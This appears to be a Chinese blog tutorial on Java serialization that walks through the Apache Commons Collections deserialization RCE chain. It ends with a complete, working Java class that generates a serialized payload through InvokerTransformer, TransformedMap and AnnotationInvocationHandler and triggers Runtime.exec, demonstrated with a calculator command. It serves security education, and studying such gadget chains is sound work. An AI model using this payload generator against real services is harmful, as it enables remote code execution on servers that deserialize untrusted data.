# Java 序列化 / 反序列化

在 Java 中实现对象反序列化非常简单,实现 java.io.Serializable(内部序列化)java.io.Externalizable(外部序列化) 接口即可被序列化,其中 java.io.Externalizable 接口只是实现了 java.io.Serializable 接口。

反序列化类对象时有如下限制:

  1. 被反序列化的类必须存在。
  2. serialVersionUID 值必须一致。

除此之外,反序列化类对象是不会调用该类构造方法的,因为在反序列化创建类实例时使用了 sun.reflect.ReflectionFactory.newConstructorForSerialization 创建了一个反序列化专用的 Constructor(反射构造方法对象) ,使用这个特殊的 Constructor 可以绕过构造方法创建类实例 (前面章节讲 sun.misc.Unsafe 的时候我们提到了使用 allocateInstance 方法也可以实现绕过构造方法创建类实例)。

# ObjectInputStream、ObjectOutputStream

java.io.ObjectOutputStream 类最核心的方法是 writeObject 方法,即序列化类对象。

java.io.ObjectInputStream 类最核心的功能是 readObject 方法,即反序列化类对象。

所以,只需借助 ObjectInputStreamObjectOutputStream 类我们就可以实现类的序列化和反序列化功能了。

# java.io.Serializable

java.io.Serializable 是一个空的接口,我们不需要实现 java.io.Serializable 的任何方法,代码如下:

public interface Serializable {
}

您可能会好奇我们实现一个空接口有什么意义?其实实现 java.io.Serializable 接口仅仅只用于 标识这个类可序列化 。实现了 java.io.Serializable 接口的类原则上都需要生产一个 serialVersionUID 常量,反序列化时如果双方的 serialVersionUID 不一致会导致 InvalidClassException 异常。如果可序列化类未显式声明 serialVersionUID ,则序列化运行时将基于该类的各个方面计算该类的默认 serialVersionUID 值。

DeserializationTest.java 测试代码如下:

package org.example;
// 实现可序列化接口
import lombok.Data;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.util.Arrays;
@Data
public class DeserializationTest implements java.io.Serializable{
    public String name;
    public String address;
    public transient int SSN;
    public int number;
    public void mailCheck() {
        System.out.println("Mailing a check to " + name + " " + address);
    }
    public static void main(String[] args) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try {
            DeserializationTest e = new DeserializationTest();
            e.name = "Reyan Ali";
            e.address = "Phokka Kuan, Ambehta Peer";
            e.SSN = 11122333;
            e.number = 101;
            e.mailCheck();
            // 序列化输出流对象
            java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos);
            oos.writeObject(e);
            oos.close();
            // 打印 DeserializationTest 类序列化以后的字节数组,我们可以将其存储到文件中或者通过 Socket 发送到远程服务地址
            System.out.println("DeserializationTest类序列化后的字节数组:" + Arrays.toString(baos.toByteArray()));
            // 利用 DeserializationTest 类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            // 通过反序列化输入流 (bais), 创建 Java 对象输入流 (ObjectInputStream) 对象
            ObjectInputStream in = new ObjectInputStream(bais);
            // 反序列化输入流数据为 DeserializationTest 对象
            DeserializationTest test = (DeserializationTest) in.readObject();
            System.out.println("用户名:" + test.getName() + ",邮箱:" + test.getAddress());
            // 关闭 ObjectInputStream 输入流
            in.close();
        } catch (java.io.IOException i) {
            i.printStackTrace();
            return;
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }
}

程序执行结果如下:

Mailing a check to Reyan Ali Phokka Kuan, Ambehta Peer
DeserializationTest类序列化后的字节数组:[-84, -19, 0, 5, 115, 114, 0, 31, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 68, 101, 115, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 84, 101, 115, 116, -85, -35, -41, -27, -118, -4, -50, 56, 2, 0, 3, 73, 0, 6, 110, 117, 109, 98, 101, 114, 76, 0, 7, 97, 100, 100, 114, 101, 115, 115, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 4, 110, 97, 109, 101, 113, 0, 126, 0, 1, 120, 112, 0, 0, 0, 101, 116, 0, 25, 80, 104, 111, 107, 107, 97, 32, 75, 117, 97, 110, 44, 32, 65, 109, 98, 101, 104, 116, 97, 32, 80, 101, 101, 114, 116, 0, 9, 82, 101, 121, 97, 110, 32, 65, 108, 105]
用户名:Reyan Ali,邮箱:Phokka Kuan, Ambehta Peer

核心逻辑其实就是使用 ObjectOutputStream 类的 writeObject 方法序列化 DeserializationTest 类,使用 ObjectInputStream 类的 readObject 方法反序列化 DeserializationTest 类而已。

核心逻辑其实就是使用 ObjectOutputStream 类的 writeObject 方法序列化 DeserializationTest 类,使用 ObjectInputStream 类的 readObject 方法反序列化 DeserializationTest 类而已。

简化后的代码片段如下:

// 序列化 DeserializationTest 类
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(t);
// 反序列化输入流数据为 DeserializationTest 对象
ObjectInputStream in = new ObjectInputStream(bais);
DeserializationTest test = (DeserializationTest) in.readObject();

ObjectOutputStream 序列化类对象的主要流程是首先判断序列化的类是否重写了 writeObject 方法,如果重写了就调用序列化对象自身的 writeObject 方法序列化,序列化时会先写入类名信息,其次是写入成员变量信息 (通过反射获取所有不包含被 transient 修饰的变量和值)。

# java.io.Externalizable

java.io.Externalizablejava.io.Serializable 几乎一样,只是 java.io.Externalizable 接口定义了 writeExternalreadExternal 方法需要序列化和反序列化的类实现,其余的和 java.io.Serializable 并无差别。

java.io.Externalizable.java:

public interface Externalizable extends java.io.Serializable {
  void writeExternal(ObjectOutput out) throws IOException;
  void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;
}

ExternalizableTest.java 测试代码如下:

package com.anbai.sec.serializes;
import java.io.*;
import java.util.Arrays;
/**
 * Creator: yz
 * Date: 2019/12/15
 */
public class ExternalizableTest implements java.io.Externalizable {
    private String username;
    private String email;
    // 省去 get/set 方法....
    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        out.writeObject(username);
        out.writeObject(email);
    }
    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        this.username = (String) in.readObject();
        this.email = (String) in.readObject();
    }
    public static void main(String[] args) {
        // 省去测试代码,因为和 DeserializationTest 一样...
    }
}

程序执行结果如下:

ExternalizableTest类序列化后的字节数组:[-84, -19, 0, 5, 115, 114, 0, 43, 99, 111, 109, 46, 97, 110, 98, 97, 105, 46, 115, 101, 99, 46, 115, 101, 114, 105, 97, 108, 105, 122, 101, 115, 46, 69, 120, 116, 101, 114, 110, 97, 108, 105, 122, 97, 98, 108, 101, 84, 101, 115, 116, -122, 124, 92, -120, -52, 73, -100, 6, 12, 0, 0, 120, 112, 116, 0, 2, 121, 122, 116, 0, 17, 97, 100, 109, 105, 110, 64, 106, 97, 118, 97, 119, 101, 98, 46, 111, 114, 103, 120]
ExternalizableTest类反序列化后的字符串:��sr+com.anbai.sec.serializes.ExternalizableTest|\��I�xptyztadmin@javaweb.orgx
用户名:yz,邮箱:admin@javaweb.org

鉴于两者之间没有多大差别,这里就不再赘述。

# 自定义序列化 (writeObject) 和反序列化 (readObject)

实现了 java.io.Serializable 接口的类,还可以定义如下方法 ( 反序列化魔术方法 ),这些方法将会在类序列化或反序列化过程中调用:

  1. private void writeObject(ObjectOutputStream oos) , 自定义序列化。
  2. private void readObject(ObjectInputStream ois) ,自定义反序列化。
  3. private void readObjectNoData()
  4. protected Object writeReplace() ,写入时替换对象。
  5. protected Object readResolve()

具体的方法名定义在 java.io.ObjectStreamClass#ObjectStreamClass(java.lang.Class<?>) ,其中方法有详细的声明。

序列化时可自定义的方法示例代码:

public class DeserializationTest implements Serializable {
/**
     * 自定义反序列化类对象
     *
     * @param ois 反序列化输入流对象
     * @throws IOException            IO 异常
     * @throws ClassNotFoundException 类未找到异常
     */
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        System.out.println("readObject...");
        // 调用 ObjectInputStream 默认反序列化方法
        ois.defaultReadObject();
        // 省去调用自定义反序列化逻辑...
    }
    /**
     * 自定义序列化类对象
     *
     * @param oos 序列化输出流对象
     * @throws IOException IO 异常
     */
    private void writeObject(ObjectOutputStream oos) throws IOException {
        oos.defaultWriteObject();
        System.out.println("writeObject...");
        // 省去调用自定义序列化逻辑...
    }
    private void readObjectNoData() {
        System.out.println("readObjectNoData...");
    }
    /**
     * 写入时替换对象
     *
     * @return 替换后的对象
     */
    protected Object writeReplace() {
        System.out.println("writeReplace....");
        return null;
    }
    protected Object readResolve() {
        System.out.println("readResolve....");
        return null;
    }
}

当我们对 DeserializationTest 类进行序列化操作时,会自动调用 (反射调用) 该类的 writeObject(ObjectOutputStream oos) 方法,对其进行反序列化操作时也会自动调用该类的 readObject(ObjectInputStream) 方法,也就是说我们可以通过在待序列化或反序列化的类中定义 readObjectwriteObject 方法,来实现自定义的序列化和反序列化操作,当然前提是,被序列化的类必须有此方法,并且方法的修饰符必须是 private

自定义序列化与反序列化逻辑

# Apache Commons Collections 反序列化漏洞

Apache CommonsApache 开源的 Java 通用类项目在 Java 中项目中被广泛的使用, Apache Commons 当中有一个组件叫做 Apache Commons Collections ,主要封装了 Java 的 Collection(集合) 相关类对象。本节将逐步详解 Collections 反序列化攻击链 (仅以 TransformedMap 调用链为示例) 最终实现反序列化 RCE

# Transformer

Transformer 是一个接口类,提供了一个对象转换方法 transform ,源码如下:

public interface Transformer {
    /**
     * 将输入对象(保持不变)转换为某个输出对象。
     *
     * @param input  需要转换的对象,应保持不变
     * @return 一个已转换的对象
     * @throws ClassCastException (runtime) 如果输入是错误的类
     * @throws IllegalArgumentException (runtime) 如果输入无效
     * @throws FunctorException (runtime) 如果转换无法完成
     */
    public Object transform(Object input);
}

该接口的重要实现类有: ConstantTransformerinvokerTransformerChainedTransformerTransformedMap

# ConstantTransformer

ConstantTransformer 类是 Transformer 接口其中的一个实现类, ConstantTransformer 类重写了 transformer 方法,源码如下:

package org.apache.commons.collections.functors;
import java.io.Serializable;
import org.apache.commons.collections.Transformer;
public class ConstantTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = 6374440726369055124L;
    /** 每次都返回 null */
    public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);
    /** The closures to call in turn */
    private final Object iConstant;
    public static Transformer getInstance(Object constantToReturn) {
        if (constantToReturn == null) {
            return NULL_INSTANCE;
        }
        return new ConstantTransformer(constantToReturn);
    }
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }
    public Object getConstant() {
        return iConstant;
    }
}

ConstantTransformer ,常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。例如传入 Runtime.class 进行转换返回的依旧是 Runtime.class

# InvokerTransformer

Collections 组件中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer ,这个类实现了 java.io.Serializable 接口。2015 年有研究者发现利用 InvokerTransformer 类的 transform 方法可以实现 Java 反序列化 RCE ,并提供了利用方法:CommonsCollections1.java

InvokerTransformertransform 方法实现了类方法动态调用,即采用反射机制动态调用类方法(反射方法名、参数值均可控)并返回该方法执行结果。

示例 - InvokerTransformer 代码片段:

public class InvokerTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = -8653385846894047688L;
    /** 要调用的方法名称 */
    private final String iMethodName;
    /** 反射参数类型数组 */
    private final Class[] iParamTypes;
    /** 反射参数值数组 */
    private final Object[] iArgs;
    // 省去多余的方法和变量
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
              // 获取输入类的类对象
            Class cls = input.getClass();
              // 通过输入的方法名和方法参数,获取指定的反射方法对象
            Method method = cls.getMethod(iMethodName, iParamTypes);
              // 反射调用指定的方法并返回方法调用结果
            return method.invoke(input, iArgs);
        } catch (Exception ex) {
            // 省去异常处理部分代码
        }
    }
}

使用 InvokerTransformer 实现调用本地命令执行方法:

package com.anbai.sec.serializes;
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformerTest {
    public static void main(String[] args) {
        // 定义需要执行的本地系统命令
        String cmd = "open -a Calculator.app";
        // 构建 transformer 对象
        InvokerTransformer transformer = new InvokerTransformer(
                "exec", new Class[]{String.class}, new Object[]{cmd}
        );
        // 传入 Runtime 实例,执行对象转换操作
        transformer.transform(Runtime.getRuntime());
    }
}

上述实例演示了通过 InvokerTransformer 的反射机制来调用 java.lang.Runtime 来实现命令执行,但在真实的漏洞利用场景我们是没法在调用 transformer.transform 的时候直接传入 Runtime.getRuntime() 对象的,因此我们需要学习如何通过 ChainedTransformer 来创建攻击链。

# ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer 类封装了 Transformer 的链式调用,我们只需要传入一个 Transformer 数组, ChainedTransformer 就会依次调用每一个 Transformertransform 方法。

ChainedTransformer.java :

public class ChainedTransformer implements Transformer, Serializable {
  /** The transformers to call in turn */
  private final Transformer[] iTransformers;
  // 省去多余的方法和变量
  public ChainedTransformer(Transformer[] transformers) {
      super();
      iTransformers = transformers;
  }
  public Object transform(Object object) {
      for (int i = 0; i < iTransformers.length; i++) {
          object = iTransformers[i].transform(object);
      }
      return object;
  }
}

使用 ChainedTransformer 实现调用本地命令执行方法:

package com.anbai.sec.serializes;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class ChainedTransformerTest {
    public static void main(String[] args) throws Exception {
        // 定义需要执行的本地系统命令
        String cmd = "open -a Calculator.app";
        // ChainedTransformer 调用链分解
//        // new ConstantTransformer(Runtime.class
//        Class<?> runtimeClass = Runtime.class;
//
//        // new InvokerTransformer("getMethod", new Class[]{
//        //         String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
//        // ),
//        Class  cls1       = runtimeClass.getClass();
//        Method getMethod  = cls1.getMethod("getMethod", new Class[]{String.class, Class[].class});
//        Method getRuntime = (Method) getMethod.invoke(runtimeClass, new Object[]{"getRuntime", new Class[0]});
//
//        // new InvokerTransformer("invoke", new Class[]{
//        //         Object.class, Object[].class}, new Object[]{null, new Object[0]}
//        // )
//        Class   cls2         = getRuntime.getClass();
//        Method  invokeMethod = cls2.getMethod("invoke", new Class[]{Object.class, Object[].class});
//        Runtime runtime      = (Runtime) invokeMethod.invoke(getRuntime, new Object[]{null, new Class[0]});
//
//        // new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
//        Class  cls3       = runtime.getClass();
//        Method execMethod = cls3.getMethod("exec", new Class[]{String.class});
//        execMethod.invoke(runtime, cmd);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        // 创建 ChainedTransformer 调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        // 执行对象转换操作
        Object transform = transformedChain.transform(null);
        System.out.println(transform);
    }
}

通过构建 ChainedTransformer 调用链,最终间接的使用 InvokerTransformer 完成了反射调用 Runtime.getRuntime().exec(cmd) 的逻辑。

# 利用 InvokerTransformer 执行本地命令

上面两个 Demo 为我们演示了如何使用 InvokerTransformer 执行本地命令,现在我们也就还只剩下两个问题:

  1. 如何传入恶意的 ChainedTransformer
  2. 如何调用 transform 方法执行本地命令;

现在我们已经使用 InvokerTransformer 创建了一个含有恶意调用链的 Transformer 类的 Map 对象,紧接着我们应该思考如何才能够将调用链串起来并执行。

org.apache.commons.collections.map.TransformedMap 类间接的实现了 java.util.Map 接口,同时支持对 Mapkey 或者 value 进行 Transformer 转换,调用 decoratedecorateTransform 方法就可以创建一个 TransformedMap :

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      return new TransformedMap(map, keyTransformer, valueTransformer);
}
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      // 省去实现代码
}

只要调用 TransformedMapsetValue/put/putAll 中的任意方法都会调用 InvokerTransformer 类的 transform 方法,从而也就会触发命令执行。

使用 TransformedMap 类的 setValue 触发 transform 示例:

package com.anbai.sec.serializes;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class TransformedMapTest {
    public static void main(String[] args) {
        String cmd = "open -a Calculator.app";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        // 创建 ChainedTransformer 调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        // 创建 Map 对象
        Map map = new HashMap();
        map.put("value", "value");
        // 使用 TransformedMap 创建一个含有恶意调用链的 Transformer 类的 Map 对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
        //transformedMap.put ("v1", "v2");// 执行 put 也会触发 transform
        // 遍历 Map 元素,并调用 setValue 方法
        for (Object obj : transformedMap.entrySet()) {
            Map.Entry entry = (Map.Entry) obj;
            //setValue 最终调用到 InvokerTransformer 的 transform 方法,从而触发 Runtime 命令执行调用链
            entry.setValue("test");
        }
        System.out.println(transformedMap);
    }
}

上述代码向我们展示了只要在 Java 的 API 中的任何一个类只要符合以下条件,我们就可以在 Java 反序列化的时候触发 InvokerTransformer 类的 transform 方法实现 RCE

  1. 实现了 java.io.Serializable 接口;
  2. 并且可以传入我们构建的 TransformedMap 对象;
  3. 调用了 TransformedMap 中的 setValue/put/putAll 中的任意方法一个方法的类;

# AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler 类实现了 java.lang.reflect.InvocationHandler ( Java动态代理 ) 接口和 java.io.Serializable 接口,它还重写了 readObject 方法,在 readObject 方法中还间接的调用了 TransformedMapMapEntrysetValue 方法,从而也就触发了 transform 方法,完成了整个攻击链的调用。

AnnotationInvocationHandler代码片段:

package sun.reflect.annotation;
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
  AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    // 省去代码部分
  }
  // Java 动态代理的 invoke 方法
  public Object invoke(Object var1, Method var2, Object[] var3) {
    // 省去代码部分
  }
  private void readObject(ObjectInputStream var1) {
      // 省去代码部分
  }
}

readObject 方法:

image-20191220181251898

上图中的第 352 行中的 memberValuesAnnotationInvocationHandler 的成员变量, memberValues 的值是在 var1.defaultReadObject(); 时反序列化生成的,它也就是我们在创建 AnnotationInvocationHandler 时传入的带有恶意攻击链的 TransformedMap 。需要注意的是如果我们想要进入到 var5.setValue 这个逻辑那么我们的序列化的 map 中的 key 必须包含创建 AnnotationInvocationHandler 时传入的注解的方法名。

既然利用 AnnotationInvocationHandler 类我们可以实现反序列化 RCE ,那么在序列化 AnnotationInvocationHandler 对象的时候传入我们精心构建的包含了恶意攻击链的 TransformedMap 对象的序列化字节数组给远程服务,对方在反序列化 AnnotationInvocationHandler 类的时候就会触发整个恶意的攻击链,从而也就实现了远程命令执行了。

创建 AnnotationInvocationHandler 对象:

因为 sun.reflect.annotation.AnnotationInvocationHandler 是一个内部 API 专用的类,在外部我们无法通过类名创建出 AnnotationInvocationHandler 类实例,所以我们需要通过反射的方式创建出 AnnotationInvocationHandler 对象:

// 创建 Map 对象
Map map = new HashMap();
//map 的 key 名称必须对应创建 AnnotationInvocationHandler 时使用的注解方法名,比如创建
// AnnotationInvocationHandler 时传入的注解是 java.lang.annotation.Target,那么 map
// 的 key 必须是 @Target 注解中的方法名,即:value,否则在反序列化 AnnotationInvocationHandler
// 类调用其自身实现的 readObject 方法时无法通过 if 判断也就无法通过调用到 setValue 方法了。
map.put("value", "value");
// 使用 TransformedMap 创建一个含有恶意调用链的 Transformer 类的 Map 对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// 获取 AnnotationInvocationHandler 类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取 AnnotationInvocationHandler 类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 创建含有恶意攻击链 (transformedMap) 的 AnnotationInvocationHandler 类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);

instance 对象就是我们最终用于序列化的 AnnotationInvocationHandler 对象,我们只需要将这个 instance 序列化后就可以得到用于攻击的 payload 了。

完整的攻击示例 Demo:

package com.anbai.sec.serializes;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/**
 * Creator: yz
 * Date: 2019/12/16
 */
public class CommonsCollectionsTest {
    public static void main(String[] args) {
        String cmd = "open -a Calculator.app";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        // 创建 ChainedTransformer 调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        // 创建 Map 对象
        Map map = new HashMap();
        map.put("value", "value");
        // 使用 TransformedMap 创建一个含有恶意调用链的 Transformer 类的 Map 对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
//        // 遍历 Map 元素,并调用 setValue 方法
//        for (Object obj : transformedMap.entrySet()) {
//            Map.Entry entry = (Map.Entry) obj;
//
//            //setValue 最终调用到 InvokerTransformer 的 transform 方法,从而触发 Runtime 命令执行调用链
//            entry.setValue("test");
//        }
//
////        transformedMap.put ("v1", "v2");// 执行 put 也会触发 transform
        try {
            // 获取 AnnotationInvocationHandler 类对象
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            // 获取 AnnotationInvocationHandler 类的构造方法
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            // 设置构造方法的访问权限
            constructor.setAccessible(true);
            // 创建含有恶意攻击链 (transformedMap) 的 AnnotationInvocationHandler 类实例,等价于:
            // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
            Object instance = constructor.newInstance(Target.class, transformedMap);
            // 创建用于存储 payload 的二进制输出流对象
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            // 创建 Java 对象序列化输出流对象
            ObjectOutputStream out = new ObjectOutputStream(baos);
            // 序列化 AnnotationInvocationHandler 类
            out.writeObject(instance);
            out.flush();
            out.close();
            // 获取序列化的二进制数组
            byte[] bytes = baos.toByteArray();
            // 输出序列化的二进制数组
            System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));
            // 利用 AnnotationInvocationHandler 类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
            // 通过反序列化输入流 (bais), 创建 Java 对象输入流 (ObjectInputStream) 对象
            ObjectInputStream in = new ObjectInputStream(bais);
            // 模拟远程的反序列化过程
            in.readObject();
            // 关闭 ObjectInputStream 输入流
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

反序列化 RCE 调用链如下:

ObjectInputStream.readObject()
  ->AnnotationInvocationHandler.readObject()
      ->TransformedMap.entrySet().iterator().next().setValue()
          ->TransformedMap.checkSetValue()
        ->TransformedMap.transform()
          ->ChainedTransformer.transform()
            ->ConstantTransformer.transform()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Class.getMethod()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.getRuntime()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.exec()

Apache Commons Collections 漏洞利用方式也不仅仅只有本节所讲解的利用 AnnotationInvocationHandler 触发 TransformedMap 构建调用链的这一种方式,ysoserial 还提供了多种基于 InstantiateTransformer/InvokerTransformer 构建调用链方式:LazyMapPriorityQueueBadAttributeValueExpExceptionHashSetHashtable

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

尘落 微信支付

微信支付

尘落 支付宝

支付宝

尘落 贝宝

贝宝